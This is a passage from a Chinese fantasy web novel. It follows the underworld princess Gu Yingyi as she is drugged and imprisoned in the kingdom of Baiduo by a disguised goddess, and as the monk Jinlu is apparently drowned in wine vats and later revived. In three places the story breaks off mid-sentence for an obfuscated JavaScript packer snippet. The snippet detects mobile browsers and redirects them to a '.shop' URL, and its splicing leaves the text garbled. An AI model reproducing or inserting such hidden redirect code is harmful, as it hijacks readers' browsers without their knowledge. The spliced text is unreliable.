见她能来,吓得众人纷纷后退,谷盈一劝慰他们:“别怕,告诉我,我会帮你们的。”随后一团紫火游离于稻田水上。 那男丁说:“仙人,这是为了防止我们逃出去,当时国王初来,大量百姓外逃,国王才出此下策,他命我们世代在这里种粮酿酒,不纳其他税,送到宫里的东西也是差人去别的国买的,我们虽说失去了自由,但衣食无忧,不必流离失所,更无妖邪侵扰,已经是幸事了。” “荒唐!只有罪犯和鬼魂才被这样束缚着。我问你,你可知那国王是什么来历?” “听人说,国王因在天上醉酒被贬下界来,所以命他在这里酿酒,只要每年交了酒,天上不管国王,国王也就不管我们了。” “他纳那么多妃子干什么?” “是为了生男儿,这里有不少国王的孩子,只不过也是和其他孩子没什么两样,一样来这里劳作。” “开了眼了,真是荒谬!我定要找那国王给你们讨个说法。”说完谷盈一破开结界走了。 已是日上三竿,那白堕国王抱着美人醉卧在床榻上。 “不好了不好了!”青袍官吏把国王摇醒。 “又怎么了?不是说让宫主多留一日吗?你自己去接待不就行了吗?” “宫主破了稻谷地结界了!” “什么?”国王如梦初醒,速让美人退下,他问道:“宫主什么反应?” “据守卫来报,浑身怒气,正在路上来着呢。我们就别想着去地府了。” “那可如何是好啊?”国王很着急。 “素来听说地府夭女顽劣,折磨亡魂的花招如家常小菜,没想到还有这等善心,事情既然已经败露,投诚不行,不如照之前的计划杀了她。”素袍官吏语气甚是坚决。 “好。只怕宫主和那和尚不好对付,所谓道高一尺魔高一丈,幸好我们有女萝神香和金绳网,你变作我的模样,我暗中设局,速去!” “好。”青袍官吏向国王投来了欣赏的目光。 10. 女萝神香 天光穿过树木的斑驳阴影洒在王宫的台阶上,微尘飘悠悠而上,谷盈一推开众人径直来到大殿。 国王端坐在上,金漉在一旁饮茶,他们欢笑着谈论佛经,那国王竟还有一些自己的见地。 谷盈一走进大殿来,一把推开两个守门的侍卫。 “你好大的胆子!竟然敢划溪而治,把百姓当成你的奴隶,你真是荒唐至极!”谷盈一厉声质问那国王。 “宫主何出此言啊?短短一夜之间,宫主的态度便有了天旋地转的变化,想来着其中必然什么误会吧。”白堕国王摆手让内侍和侍卫退下。 “陛下,宫主这般生气,必有缘由,还请允她说说。”金漉觉得万一这国王有什么苦衷,也不至于最后收场太难看,这一开口也是缓和一下当下剑拔弩张的气氛。 “你们的溪边女子好像有什么不正之风,而且男丁们皆戴脚链耕作,你让你的皇子们流落其间,你对你的妃嫔也是薄情寡恩,本主真是错看你了。你若有心,哪怕有再大的艰难,也应该去好好治理你的国家,而不至于放任到这么恶心的地步!像你这样的人,被贬真是活该,你没有资格在我地府谋得一份差事!” 谷盈一此时已经气愤不已,她的眉头拧成了一条棍子,脸也因愤怒而憋得有些红。自从她出了地府,没有一件舒心的事,也没有见过一个正常的地方,她本以为这是个清廉正直的好国君,现在她忍不住怀疑,难道人间住的都是些什么妖魔鬼怪? “谷盈一,你也太嚣张也太自以为是吧。你以为这里还是你的地府吗?我们已说了自己有难处,做这些也是迫不得已,你不去上告天庭,反而指责我们这些奉命行事的人,既然这样,我也没什么好说的了。” 说完,那国王变幻出自己的原身,竟然是一只赤尻马猴,只见他拿出铁棒,打向谷盈一,谷盈一侧身一躲,金漉见他竟然会是一只妖怪,也持杖与他打斗起来。谷盈一召出数团紫火,青袍官用法术变出冰雾,抵消了地火,谷盈一飞身出去,撕下帷幔,与那素袍官吏缠斗,他根本不是两人的对手,只能逃走了,这时女萝神香弥漫而来,谷盈一和金漉二人只觉得头晕眼花,金绳网从天而降,两人昏倒在网下。 “这女萝神香煞是厉害,没个三五天休想醒来。”国王看着被缚的两个人一时间犹豫,倘若真的杀了他们,是否铸成大错,再无翻身之地? 他对素袍官吏道:“这两人关系重大,若地府追究到底,我们万一成了替死鬼,一番辛苦岂不做了他人嫁衣?” “这实在是进退两难。不如我们静观其变,看谁来救,做个顺水人情,如何?”素袍官吏也不想把事情做绝。 “但绑了地府的幺女,实在是冒违之事。” “谁让宫主闯我结界的,她亦是有错在先。我等只是也是按律法行事。再不济……也尚有一条活路。”素袍官吏也忧心忡忡的样子。 “我来白堕国几百年,早已经心如死灰,多亏上天没有寡恩于我,降你在我身边,你就像春风,让我知道枯草也能复生啊。”白堕国王紧紧握住他的手,热泪盈眶。 “先别说这个了,等我们安然脱身之后,再举杯畅饮也不迟!”素袍官吏倒是颇有性情。 “喝什么破酒!”白堕国王一下子被自己惹得大发雷霆,他把酒壶摔地,案几也推倒,“什么琼浆玉液,着实要害死我了!” 素袍官吏摇头叹息。 这时一个侍卫跑来禀告:“陛下,有一妇人求见,说是发现了宝物。” “哦?有这等奇事,快请她进来!” 只见一个头戴葛巾身着粗布衫的老妇人走来,她弓着身子,把东西献上,语气说得谦虚委婉,说她打东边来,想要去买点花椒,在路上捡了一个宝物,听说国王特别喜欢这样的宝物,就进宫奉上来了。 国王遂令奴仆取来。那妇人突然眼睛一瞪,吓退奴仆一下子跌倒在地,她又厉声质问道:“此乃神物,尔为低贱东西,也敢拿脏手亵渎?”国王惊讶之余,颇敬佩老妇人的气势,于是喝退堂内所有下人,并亲自下阶奉迎宝物。 国王打开包裹的布袋,拿起看来,果然是一把青铜剑,青锈下的剑身还冒着冷冽的寒光,他拿起试剑,只觉得轻盈似云,疑惑间仔细端量,这剑却倏地变成一把驱邪避鬼的雕花桃木剑。 国王正要质问那妇人,只见,一团云雾腾起,那妇女已经变幻了模样,她头戴金灿灿的九凤朝天冠,身着玄金流霞裙,外披橘红色的广袖仙袍,腰束宝蓝色的锦带,有团团火焰萦绕身后,一手拿金色宝葫芦,一手拿剑,盛气凌人,又端庄大方。此人正是九天玄女。 真身一现,惊得那国王忙后退,并伏礼问道:“此前九天娘娘都是差仙婢来,这次怎么真身大驾光临?” “你这次也没有让我失望,真个把我送你的香物尽其用。”又问国王:“谷盈一何在?” “这……” “你还有什么事是瞒得过我的?” “回九天娘娘的话,宫主被臣困在后宫偏殿里,臣也是不得已而为之……” 九天玄女轻蔑一笑,“我知道你有苦衷,恐怕我要坏了你的好事了。只是,女子之间交心容易,你也不怕她策反了那群妃子们?你的妃子们到时生乱,你岂敢杀生?” “宫主性子高傲,必看不上臣的凡俗嫔妃们。” “你去地府求官的事儿,已成了黄粱一梦了。”九天玄女轻蔑而道。 听了这话,吓得那国王忙磕头认罪:“九天娘娘,小臣真是罪该万死。” “行了,站起来说话吧,看你从前的风骨,如今竟然被消磨得只剩影子了。你的事令说吧,先把我的事给办了,我对谷女亦有目的,不过担忧日夜游神寻来,去把这雕花桃木剑悬挂宫门上,围着王宫,每隔一里,设炉焚特遐香,充盈王宫内外,可挡鬼吏巡查。之后再于殿门外置上几十个缸,灌满酒水候着,去吧。” “是。”国王作揖告退。 那九天玄女娘娘使了仙法,隐了本相,把自己变成一个风情绰约的美妇,化名缑娘,径直往后宫去了。 谷盈一被缚在床上,正沉沉睡着。缑娘款步走来,端详着谷盈一的脸,又上下扫视,随即作出心疼态,对身边的嫔妃们道:“还不把这绳子解了,把这玉身勒坏了可怎么办?”又吩咐她们给天露池放好温水。 嫔妃们把谷盈一解绑,抬到内室,就被命令出去了。 缑娘取出舒肌香来焚,这种香没有味道,只是悠悠的,飘细烟丝儿。不一会儿,谷盈一醒来了,她一睁眼,就发现自己赤肤裸体的泡在池内,浑身娇软无力,似乎是中毒了,可意识还是清醒的,也不好张口说话。 谷盈一怒不可遏,一个字一个字像蹦豆子似的,质问道:“你好无礼,敢这么冒犯本主,知道本主是谁吗?” 缑娘莞尔一笑,手持鹊尾香炉,走来后,半卧在池子旁,对她说:“你走得还不远,尚不知前路的凶险。我不害你,只是与你谈谈。” “阁下要与我谈什么?” 谷盈一此时已经意识到了这白堕国非同小可,辱她无异于杀她,来者做得这么过分,还不是因为她留下来多管了闲事,种什么因就得担什么果,她也不后悔,就是不想事没做成,还败得狼狈。 缑娘轻舀池水,瓢上浮着清香绰约的桃花,水和花滑过谷盈一的肌肤,室内的水汽和香气氤氲袅袅,模糊了两人的容貌,缑娘忍不住连连称赞:“这是一张多么年轻又姣好的脸蛋呀。” 缑娘欣赏了一会儿,又道:“谷女啊谷女,我听说,你在地府里飞扬跋扈,时常鞭打亡魂,将亡魂放到铁汁里烧,这下被我束缚在这里,可是老实了?” “……阁下,你到底要怎么样?” 谷盈一现在动弹不得,知道中了神秘的毒,只怪她见识浅薄,不识得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615859|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是什么香,以往的自己真是地府的井底之蛙,又被父兄呵护得太好,纵有一腔热血,也须走得如履薄冰,否则死得不明不白的。 “天地间阴阳合而万物生,遵循道法自然,亘古不变,然而,人有私欲,岂非异者间有情?”缑娘笑着看向她。 “白堕国治理有错,大娘必是受了这里不正风气的影响,正其俗必正其心,若好好教化,假以时日,必荡涤邪风。” “大娘??这会子还在逞口舌之快呢,你真是个蠢物啊谷盈一。”缑娘把铜舀子一扔,转而又说:“你们地府设了兔儿爷,作何解?” “地界事宜诸多,这我属实不知道。” “痴儿,你也该知道了!” “还请阁下把这一切与我分说明白,这白堕国王是什么来历,阁下把我囚困在这里,到底是为了什么?” “什么国王,不过是天庭罪犯。可你现在是他的阶下囚,更低一等,若你答应我一件事,我便救你出去。” “什么事?” 缑娘喜笑颜开,坐在谷盈一身边道:“那日你初来此国,榕树之下,娇娥们言笑晏晏,融入她们当中去,岂不是赏心悦事?现有了兔儿神,何不设个锁榕神来配?” “此事过于荒诞不经了,恕我难以答应!” “这乾坤之间,只有阴阳两性,怎么,男人的事容得下,女人的事容不下?”缑娘把鹊尾香炉扔进池子里,又说:“这舒肌香只消片刻便侵入骨髓,没有解药,直到死也不能散去,不要以为灭了香,就能解,我把它扔进池子里,就是断了你这想法,不过是设一职,何必搭上性命,你好好想想吧!”缑娘欲转身离去。 “等等!阁下既然知道我的身份,那想必也知道我没有权力在地府乱设官职。” “莫要巧言推辞,那白堕王的官儿不是你许的?” “阁下到底是什么人?” “你不必知道,只说答不答应吧?” “烦请为我准备好纸砚,以便传书地府。” “好极了,算你这个小丫头识相。”缑娘左手施法,池中水涌上来,包在谷盈一身边,右手施法,将架子上的白绸缎裁成内衬衣,水散去后,头发干了,衣服也穿在了谷盈一的身上。 谷盈一还动不了,可缑娘只挽着她的胳膊,她就能不听劝得跟着走,被引到镜台前坐着。 缑娘拿着象牙梳,为她挽上单髻,带上一圈儿的金粉堆花流光珠子,并穿羊脂玉耳环,谷盈一一个劲儿的说别动我,可没办法,她动不了一点,只能任人宰割,缑娘便说:“你与小九有婚约在身,他看了你的模样,定会心生欢喜。你们啊,真是令人艳羡的一对儿。” “什么婚约?什么小九?我劝你规矩行事,告诉我清楚,否则真激怒了我,我可什么都不管不顾!” “只当我胡说罢了。” “不,这其中一定有什么事。” “你不知道此事,那可能是我记错人了。你是小辈,不要再追问我的无心之过了!” 谷盈一眼下脱身不得,只好作罢。 缑娘又为她穿上芍药红底织金琛宝纹衫裙,披上锦帛,挂好金袋,说道:“自你兄长遭难,就白衣素身,仁孝在心不在迹,何况魂魄未得,焉知生死?以后去了那晦气衣服吧。妙龄当值,合该穿得娇艳些。” 房内一角设有琉璃珠垂帘子,有一位素丽端庄的姑娘,在为谷盈一作画。 “对了,我的另一位兄长,金漉师兄,麻烦问一下他现在在哪儿呢?” “你唤他兄长?”缑娘大笑:“此事极为好笑,这和尚落在我手里,不得不好好算一算释门的账了。也好,看你是否真心为我谋事,先去看了这和尚的下场再说!” 说完,九天玄女让谷盈一吞下药丸,舒肌香彻底散去还得约十个时辰,她的法力还未恢复,行动也如僵硬的木偶,几乎没有威胁,如同待宰的羔羊。 11. 缑娘 宫门敞着,任由金风吹来,携秋菊的清香,并着凉月的光,全都落在藕合色纱幔上,而纱幔的影子和手握笔管的影子映上宣纸玉砚,却是一动一静,动静两相宜。 黑墨晕染白纸,时间也在无声消逝。 “怎么了?小谷女?怎的不写下去了?”缑娘见谷盈一迟迟不肯落笔,她的眼神变得颇为犀利,又问道:“难道你要反悔不成?” “可我若写了,谁去送?” “只消写便是了。” “能否让我唤来夜游神?” “请试。”缑娘戏谑而笑。缑娘知道这谷盈一是耍什么鬼心思呢,任她而去,这个从地府出来的灵气青涩的丫头在自己这里掀不起什么风浪。 谷盈一吹起骨哨,铿锵之音悠长,却碰壁而止,她的爱宠葫芦并没有如期而至,随即又变幻出黄纸符,召出紫火,映照在谷盈一眼里的火苗闪了一下就熄灭了。 她重重撂下笔,昂头撒气说道:“我不写了。你怎的对我设防如此过重,明明是你有求于我,却把我弄的跟个囚犯似的,你也去打听打听,本主何曾受过这样的委屈?如今兄长罹难,作为地府唯一的女儿,如果也出事了,以父王的秉性,会不惜拼上地府的前途,届时三界必定不宁!” 缑娘用手帕捂了嘴,忍不住笑了起来。这谷盈一真是小孩子的心性,当真是从小娇惯大了的,活泼可爱的小模样,连天帝都有几分疼惜她呢。她收敛了笑意,耐心对她说道: “以一职换一命,你之前都能爽快答应,我想府君并不会吝啬,何况这只是一个举重若轻的小职。你兄长作为未来的储君,如今下落不明,你父亲尚能自咽苦果,可见威严锐减,心力不足,而你,不过一顽劣之辈,何必举全府之力而对抗我这样一个举足轻重的小人物?” “我管你什么人,我现在不答应了,你有能耐就杀了我,你要是杀不死我,就等着我一直追杀你,直到把你投入十八层地狱!” “你动怒了?”缑娘又笑了,笑得轻朗:“你不该如此动怒,你一点也不成熟。你要记住谷盈一,一个真正掌控人心的人,是能戒掉情绪的人,是喜怒不形于色的人。不过,说来倒是我横插一脚,先抢个救你的功劳,来换取这小小的官职。我之所以为你沐浴更衣,开导关怀,皆是因为喜欢你疼惜你,并没有让你受辱这一说。既然你接受不了,不如把这当成一场交易,以黄金百两来换,如何?” 缑娘见谷盈一脸上仍然有忿恨之色,又道:“莫要急于拒绝,你若以这天地为棋盘,那可就错了,这世间绝不可能只有黑白两色。谷女再好好想想吧,我会让人送来食物,吃完你再好好休息一晚,时间不等人,明早务必给我答复。”说罢转身离去。 不一会儿,门外有人敲门,谷盈一放人进来。 来人正是俪妃。 “怎么是你?” “正是妾身。”俪妃笑着向谷盈一行礼,并引她进侧门后的房间,“女郎这边请。” 俪妃手里提着红漆木描金饭盒,共有六层,她放在圆木桌上,一层层打开盖子,把食物盘子一一摆好,请谷盈一来吃饭:“娘娘嘱咐您快趁热吃。” 谷盈一扫了一眼,菜肴有翠椒炙鱼脍,葱爆牛肉,羊腩煲,薏仁冬瓜汤,点心有枣泥核桃酥和姜汁软糕,她疑惑并发问:“这不是宫里的食物,告诉我,从哪里来的?” “这些都是我们娘娘从宫外带来的。” “你说的这个娘娘,是今天侍奉我的吗?” “正是。” 谷盈一心想,原来她是白堕国的王后,怪不得那么嚣张,可惜是妖怪的王后,想来也不是什么善茬。不过这个妇女还是太自不量力了,等父亲来救她,她非得把他们全部都一网打尽,狠狠地解一口恶气。谷盈一又问道:“这国王不是没有王后吗?” “我们娘娘虽无王后之名,但在我们这些嫔妃眼里,是实实在在的后宫之主。” “那我该如何唤你?” “直呼妾身小名俪儿就行。” “俪儿,这太多了,我吃不完,你也一起来吃吧。”谷盈一递给她一双木箸。 “妾身不敢僭越规矩。” “无妨,过来吧。” “是,妾身从命。” 俪妃动作拘谨,眼睛的余光一直打量着谷盈一。 “俪儿是有什么话和我说吗?”谷盈一没有看向她,夹了一块牛肉送到口中,自顾自得用膳。 “女郎!” 俪妃霎时间跪地,眼泪漱漱而落,声音悲恸凄凉,连连说道:“王后为求小职,冒犯女郎,做了那恶人,实际上是为我后宫众多姐妹啊。国王昏淫无道,对待妃嫔向来是召之即来,弃如草履,不舒心时,还对我们大打出手,我们只得报团取暖,才熬得过这后宫的寒苦日子。如今民间妇女也是,政事荒诞,男子无法依靠,只能结成金兰,共渡生活。人有了信仰,就有了寄托,供奉神仙,得以宽心向好。女郎手握大权,还请多发发善心,应允了皇后娘娘吧。” “俪儿你空口无凭,我若草草答应你,恐怕将来事情翻了个身,又得作废。朝令夕改,我们地府在三界里岂不招笑?”谷盈一竟然也打起官腔来了,她自己说来都心虚。 “女郎你看,那这伤口可是真的。” 俪妃撸开袖子,又半脱衣衫,手臂胸口上皆是伤痕,似蚯蚓,似蜈蚣,触目惊心,结了疤,又因疼痒难耐或者临幸,而被抓破,不少地方伤口还在淌血。 谷盈一眉头紧锁,眼神悲伤。 俪妃随即出门唤来众妃嫔,几十个如花似锦的年轻女子鱼贯而入,挤满了房内,皆泣身下跪,争相展示自己的伤势,哭诉自己的苦楚。 万红齐悲的场景让谷盈一从伤心转到害怕,但是,这种扑上来“要挟”的架势更让她惊恐,她大喊:“俪儿!先让她们出去!” 俪妃早不知道被这人群淹没到哪里了。 谷盈一气急败坏,召出紫火,由于法力不足,紫火如秋日覆霜的枯草,幽淡中透着阴森的寒气,但也够用了,谷盈一燃起帷幔扔过去,以逼退她们。 谁知众人手扑脚踢,灭火之后又围上来央求。 谷盈一这下被逼到床榻角上,也急了,似乎宁死也不屈从,她大叫:“你们还是死了这条心吧。怎么可能因为你们少数人的私心,随意去改我地府的规矩?这看似由几个人而起,是小事,一旦设立,便是关乎天下苍生的大事。是好是坏,不能由我一人决定,美名我无心享受,骂名也不能由我来担。快走开!不然我这地狱之火要烧到你们身上了。” 众妃嫔没有识趣的,又向前苦苦哀求。 谷盈一忍无可忍,又召出紫火,火光映到自己脸上,照的眼神露出凶光,仿佛要大开杀戒。 这时,俪妃挺身而出,大声劝诫众妃嫔:“姐姐妹妹们先回去,乱糟糟的成不了事的,妾身会给大家一个交代。”没想到这俪妃在众人面前颇有威望,大家听了她的话,如燕雀般散了。 谷盈一舒了一口气,她质问俪妃:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615860|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先前与我说过,你的儿子们被送出宫去,做了苦差,可我问了劳役的男子们,没有一个人认识宫里有什么俪妃的,更别提有什么儿子出生了。” “后宫之事,男人们自然不会知道。” “我也去问了城中的妇女们,她们竟也没有一个人知道,你定是骗我的,满口胡言,天理不容!” “妾身不敢,还请女郎消气。”俪妃又哭哭啼啼起来,说道:“妾身久居深宫,与外妇并不相识,可生育之事不好欺瞒,妾身是不会轻易撒出处处破绽的谎子来的。请女郎明鉴。” “行了,我知道你今夜来此为的是什么了,恕我不能答应,请回吧。”谷盈一也只是简单问了几人,她现在不想追究这事是真是假,这女人哭哭啼啼的,着实令人头疼,谷盈一只想让她快点离开。 俪妃抹着眼泪退下了。 翌日,还没用过早膳,谷盈一被几个宫女裹挟着出来。她愤怒不已,大骂这群女婢们滚开,却发觉法力又掉了,猜到深夜又中了舒肌香,但不止,应该还有其他的香,她暗自置气,气愤这白堕国真是处处深宫谍影,防不胜防。 宫殿外有十几个棕黑色的大缸,里面灌满了白酒,即使每个酒缸上面覆上黄花梨木的大盖子,酒香从木间浸出来,飘彻万里,闻得人人皆醉。 白堕国王和随侍们站立在高阶之上,似乎有惭愧之色,说道:“宫主,金漉扬言要灭了我这白堕之国,无奈,只能把他溺死在缸中。” 这时,缑娘走来,她拽起谷盈一,神情狰狞而道:“我平生最恨和尚,他不得不死。”她又转而一笑,手指苍穹,说道:“你看这太阳在天上挂着,阳光多好啊,可惜,却能成为杀死你师兄最好的利刃。” “你什么意思?” “你看好了。” 说完,缑娘命国王从天牢里押来一位罪犯。这人曾经熔断铁链,偷跑出去,一月内□□数十人,罪该问斩,今日便是他的死期。缑娘又让人摆了一口新缸,那罪犯被割了舌头,五花大绑扔进缸里,数十个小吏搬来酒桶,灌满酒缸,木盖压住缸口。 缑娘拿出一纸香沫,对谷盈一说:“这是点阳化魂香,每个酒缸都有,化水后,这人只要见了阳光,就会五脏俱裂,七窍流血。”便丢给俪妃,俪妃走过去掀起木盖一角,把香粉倒进去。片刻之后,几个小吏用铁棍砸破酒缸,阳光照到那罪犯身上,果然,全身流血,很快酒水泛红一片。 谷盈一厉声质问道:“金漉师兄何错之有?你为什么要加害他!” “只因为他是个和尚,而我,平生最恨和尚了。不过也有例外,你若是痛快答应我的事,我可以看在你是府君之女的面子上,可以放他一马。” 缑娘见谷盈一还不松口,便命令小吏们把酒缸一个个砸开。酒缸的破碎声沉闷轰隆,哗啦啦的酒水流淌一地,在阳光的照耀下熠熠生辉。 “不……不能对他这么残忍!”谷盈一痛哭。 白堕国王的神色开始变得支离破碎,他对素袍官吏小声吩咐:“速把这事儿的本末上告天庭,我们眼下只能随机应变。” “我早知你会这样做,也猜到了是九天玄女娘娘驾临,不管怎么样,我都谋好了最后的退路,放心吧。” “有你在,我还有什么惧怕的呢?”国王两眼含泪,拉住了他的手。 之后,为避人耳目,素袍官吏悄悄走了。 “谷女还不醒悟吗?”眼看缸子要被砸完了,缑娘也隐隐不安。 谷盈一闭眼流泪。 12. 灵芝丸 乌云翻涌席卷天际,淹没了烈日,天地间骤然沉落灰蒙蒙的。 但一道金光从天而降,倏而道道仙光接踵而至。 缑娘知道这是天庭的人来了,她暗道不好,匆忙塞到谷盈一嘴里一丸解药,低声命小吏忙把剩下的缸子一一砸开,然后带着俪妃幻化成一阵轻烟儿消失了。 悬空的云头之上,张择晓金丝官袍加身,官帽之下神色严肃,拿出天庭文书,底下众人见势纷纷跪拜。 张择晓宣读天庭来的旨意:白堕小国枉尊仙法,滥用刑罚,奉东宫大殿下之命,特遣本王问罪,尔等应潜心悔过,励精图治。 白堕国王下跪拜谢道:“臣甘雎谨遵旨意。”并接过张择晓扔下来的文书。 张择晓见谷盈一身软无力,神色凄惨,忙下云头,去搀扶住她。 只有谷盈一没听天上来的旨意,所有酒缸接连炸裂,而金漉竟在离她最近的酒缸里,他躺在酒水里,像一块沉腐的木头。谷盈一她的体力有所恢复,她猛地推开张择晓,踉跄着起身。 “宫主,你身体亏虚,万万不可乱动。”张择晓的官袍拂过她沾染酒水湿漉漉的裙摆,搁衣握住她的手腕,“请宫主听我的好吗?” 同时,他命令身后的小吏:“你们几个,去把金漉扶起来。” “谁都不能碰他!”谷盈一大喊。 张择晓闻之一怔,缓缓松开谷盈一的手腕,心口有种难以言喻的感受,她不仅无视自己,而且还对一个和尚这么上心,要是她的亲哥哥,大庭氏昶煦,也就算了,金漉再怎么说也是个和尚不是吗? “请问殿下,你是专门来看我落魄的样子吗?如果不是,请起开,我谷盈一还没可怜到让上仙施舍的地步。” 张择晓不明白,她为什么对自己如此的针锋相对?难道她还在记恨自己第一次与她碰面就打起来的事吗,不对,宫主那么大大咧咧的一个人,不会在意这种小事,如果说她对佛家,对天庭有误解,可是她不能对自己有误解。张择晓想与她说开,说谷盈一就是谷盈一,张择晓就是张择晓。可是一见到她的妆容晕开,脂粉糊成一片,发丝也随风凌乱着,连美丽的衣衫也黏在地上,唯有坚毅的眼神在发着清亮的光,他不想说什么话让她生气了。于是张择晓退至一旁。 谷盈一跌跌撞撞扑到金漉身边,抱住他哭泣,“师兄,你醒醒啊。”张择晓的嘴角和喉结蠕动,心里不是个滋味,半晌才劝慰她:“宫主别哭坏了身子,金漉高僧吉人自有天相,让小王来试试吧。” 谷盈一已经察觉到了金漉气息微弱,可她现在着实无能无力,所以她没有答张泽晓的话。于是张择晓双手结印,点在金漉额头,只略微强化了他微弱的气脉。 金漉浑身被酒水腌渍,在香与酒的双重加持下,他还没有醒来,谷盈一心痛他作为释门弟子,却要破戒,她变出纸符,咬破手指,以血写篆,紫火烧后,让他饮下,见他还没有醒,就抱住金漉大哭。 “宫主,别太伤心了。等我回天上一趟,定能救你师兄的性命!”说罢,踏上祥云。 白堕国王甘雎连忙跑来,匍匐跪地,说道:“殿下且慢,小臣有一个法子,可以一试!酒是大忌,恐是高僧中了心魔,臣有一神药,当年司查立功,天帝赏给微臣的,或许可以一试。” “你既有神药,为何藏着掖着,还不快快拿来。”张择晓命令道。 一行人慌里慌张地把金漉抬到宫内,青袍官吏火急火燎地拿来后,是一颗黑乎乎的药丸。 张择晓看着熟悉,这不是太上老君练的灵芝丸吗?再普通不过的仙药了,看起来黑,是因为里面掺了黑枸杞和芝麻,尝起来时会清甜不腻。看来,金漉并无性命之忧,只是,他为什么会气息如此微弱,难道是大殿下在背后谋划此事?这实在说不通,我天庭与地府并无深仇大恨,除掉地藏王的大弟子和幽冥大帝的女儿过于冒险,是绝对不可能的事,这一定会引来三界动荡。那就是与少主殿下有瓜葛了,这其中必有蹊跷,待事了必得亲自询问这个白堕国王了。 不过,像这样的药丸,帝父赏赐给他好几罐呢,早知道,扯个由头,自己去取来救金漉一下了,这样可以也能让谷盈一对自己的感觉好点。 国王跪在榻边,颤抖的手捏着药丸,轻轻地放进金漉的嘴里让他吞下,并让侍女端来一碗清水,预备送服药丸。 金漉的意识还尚在昏迷当中,一勺一勺的水送进他的嘴里,又大半勺大半勺地从嘴角边流了出去,谷盈一一把推开国王:“你给我滚开!” 那白堕国王吓得连连后退。谷盈一一把夺过陶瓷碗,将水一勺一勺送到金漉的口里,尽管是比刚才饮下的水多了。 张择晓看着谷盈一扶起金漉的后背,让他的头靠在她的胳膊上,不知怎的,他不受控地皱起眉头,走过去道:“宫主,小心弄湿你的衣衫,让小王来试一下吧。” 不知是不是药效起了作用,这时金漉的神色有动,接二连三地咳了出来,在他快要睁开眼前,谷盈一拉来国王让他服侍,自己则退到一旁,还不小心撞了张择晓一下,她急匆匆地望着金漉。 金漉缓缓睁开眼睛,半响,喉咙里才发出声音:“小僧多谢各位的照拂。” “哎呀,你能醒来就好啊高僧,吓死我了。”国王的眼泪汪汪,素袍官吏在一旁拍了拍他的衣袖,示意他别演得太过了。 谷盈一笑着说:“你终于醒了,不然还得麻烦我把你的尸体抬回地府了,那样我还怎么找我哥哥,先喝点粥吧,别给我添麻烦了!” 国王命人将熬好的小米粥端了上来。 金漉强撑着身子,向谷盈一身后的张择晓作揖:“劳烦殿下驾临,小僧叨扰殿下了。” 张择晓忙阻止他作揖,说道:“金师兄,你没事就好。既然如此,小王还有点事要询问一下国王。”他转头命令国王:“你随我来。” “是。”国王平静地应答。 御书房内,素净的书案透着淡淡的松脂香,案沿雕刻着流云纹,案头笔架,狼毫,镇纸,书籍依次摆放,在书案后张择晓端坐在圈椅上,他的身后立着博古架。 张择晓道:“甘眦,你还和之前一样的雅好啊。” “殿下,小臣已经被天帝从天上驱逐下来,哪敢有什么雅好,殿下莫不是在取笑小臣。” 素袍官吏蹑步而入,将一盏茶轻轻地搁在书案上,低声道:“八殿下,请用茶。”说罢退到国王的一旁立着。 “甘眦,怎么说你也曾是大殿下的少傅,在青霄宫任职弥久,怎么能在人间整日酗酒,日夜沉沦到这般地步呢?” “八殿下,臣在天界醉酒误事,不小心打碎了天帝送给大殿的白玉笔架,因此被天帝责罚,仙力尽失,修为尽数散去。既然已经被贬到了人间,成为了一个肉骨凡胎,寿命不多。人生苦短,不如及时寻欢作乐。” “你愿意消沉,说到底也是你自己的事,只不过,你为什么要害地府的宫主与金漉呢?” “殿下就别问了,就当作是小臣一时糊涂吧,还请殿下不要将此事告知大殿与天帝,小臣会在此地好好将功折过。” “甘眦,若你不是我天界的臣子,怎么会有我天界的使者。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615861|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>素袍官吏闻言一怔。 “甘眦,本王必将此事向天帝表明,你既然已经犯错,就得接受天规的惩罚。” “殿下,请您不要逼我,您只看到了我犯的罪,殊不知我也有难言之隐。若殿下再逼迫我,我也会向天帝那里上殿下的御状的。” “哦?本王何错之有?”张择晓一边挑眉,一边徐徐翻阅书籍。 “殿下,您是否知道大殿宫内传来的诏书,上面的印章都是淡红色的。殿下执掌四海文书,印泥取用丰足,自是不用说的了。可大殿下的印泥配额却是有限的,所以大殿送来的文书,印章都是淡的,且有鹅黄点缀一笔,毫无例外。为此,他也叮嘱过小臣,叫我等辨明真伪。如今殿下假传东宫旨意,不知道按照天规,该当何罪啊?” 他恭谨地奉上伪诏。 张择晓闻言,眯起了眼睛,拿过伪诏。他没看,表面是强装镇定而已,其实他心里已经愠怒,这个甘雎不愧是跟齐天大圣孙悟空混过的,果真是一只鬼精鬼精的猴子。 